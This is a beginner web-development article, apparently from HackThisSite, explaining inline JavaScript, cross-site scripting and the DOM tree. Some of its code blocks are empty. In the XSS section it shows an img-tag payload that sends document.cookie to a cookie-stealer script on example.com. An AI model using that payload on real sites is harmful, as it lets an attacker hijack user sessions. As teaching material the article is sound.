"Politics is the gentle art of getting votes from the poor and campaign funds from the rich, by promising to protect each from the other." - Oscar Ameringer
I try to write this article in a way that should be understandable and useful to everyone, but you should have a little more than basic knowledge of java<b></b>script and HTML to fully understand it.
Inline java<b></b>script
What does it means???
Javascript is a browser side scripting language that allows developers to manipulate, the contents of the page dinamically. Inline Javascript allows every one to manipulate the contents of a webpage via the url bar Examples:
Displays any cookies the site has placed in your browser
CODE :
java<b></b>script:alert(document.cookie)
If we get more creative we can change the way the page looks
CODE :
What I'm trying to explain here is that you can do everything you want to a page with java<b></b>script.
XSS (cross site scripting) relies solely in the injection of java<b></b>script and (most of the time) inline java<b></b>script (in attributes like href and src)
Example:
When this image "loads" John Doe will steal your cookie
CODE :
<img src='java<b></b>script:alert("You Have Been Hax0r3d"); document.location = "http://www.example.com/cookiestealer.php?cookie="+document.cookie; void(0)' />
Hey it's not the 90's anymore
A better Inline Javascript
It's the 21'st century, why do we need to manipulate pages like "they" did las century?
Well fortunately we don't, we have Firefox (hopefully) and we can have Firebug
Firebug is a great utility that "among other things" lets us execute java<b></b>script code the right way in a little console, modify the html of the page by editing the source code directly,inspect and modify the properties of elements etc...
The DOM
What is it?
The DOM is an acronym that stands for Document Object Model, I know, that doesn't tell you anything.
Well, the structure of a page is a lot like a Family Tree (the document tree) everything starts with one element and everything evolves.
Every tag in the html document is an element in the document tree, so everything is inside the HTML tag yhis is like the global element document inside we have the body tag in which we may have a div tag in which we may have n number of elements (tags) a, img, p, div, form, etc...
So body is the parentNode of div and div is the parentNode of p which is the parentNode of a (each element is a node).
Likewise a is the childNode of p, p is the childNode of div etc…
If you still have doubts maybe some sort of graphic helps
_______________DOCUMENT
___________________|
_________________BODY______
___________|_______|______|
__________DIV-----DIV-----P
___________|_______|______|
_____P--A--IMG__SPAN--P__IMG
Or something like that, so if you wish to change the contents of the span inside the second div you would use
CODE :
//Remember we start counting from zero
document.body.childNodes[1].childNodes[0].innerHTML = 'Changed';
Each element has it's own attributes (properties) and methods, Each element is an object
One method of most elements is the getElementsByTagName and it does just that. Example:
You want to access the P element in our document, but you don't know which child number is
CODE :
The document object also has a reference to other elements in the document, even if they are not directly its children that's convenient. Example:
Count all images in a page
[code]alert(document.images.length)
Well, that's all for today, in my next article I'll explain in detail DOM manipulation through java<b></b>script (removing, appending, cloning, etc… childNodes)
Stay Tuned!
Disclaimer: All information provided here is for the only purpose of teaching web developing techniques and make this a better web for everyone, I am not to be held responsible for any misuse of this information, remember with great power comes great responsibilities.
By reading this you agree on using this knowledge for good and not for evil, like Spiderman, wearing a black symbiotic hat from outer space may release you from your responsibilities, and the hat must be held responsible, by reading this I have taken possession of your soul and if you ask for it back god will kill a kitten.
Cast your vote on this article 10 - Highest, 1 - Lowest
Comments: Published: 23 comments.
HackThisSite is the collective work of the HackThisSite staff, licensed under a CC BY-NC license.
We ask that you inform us upon sharing or distributing.
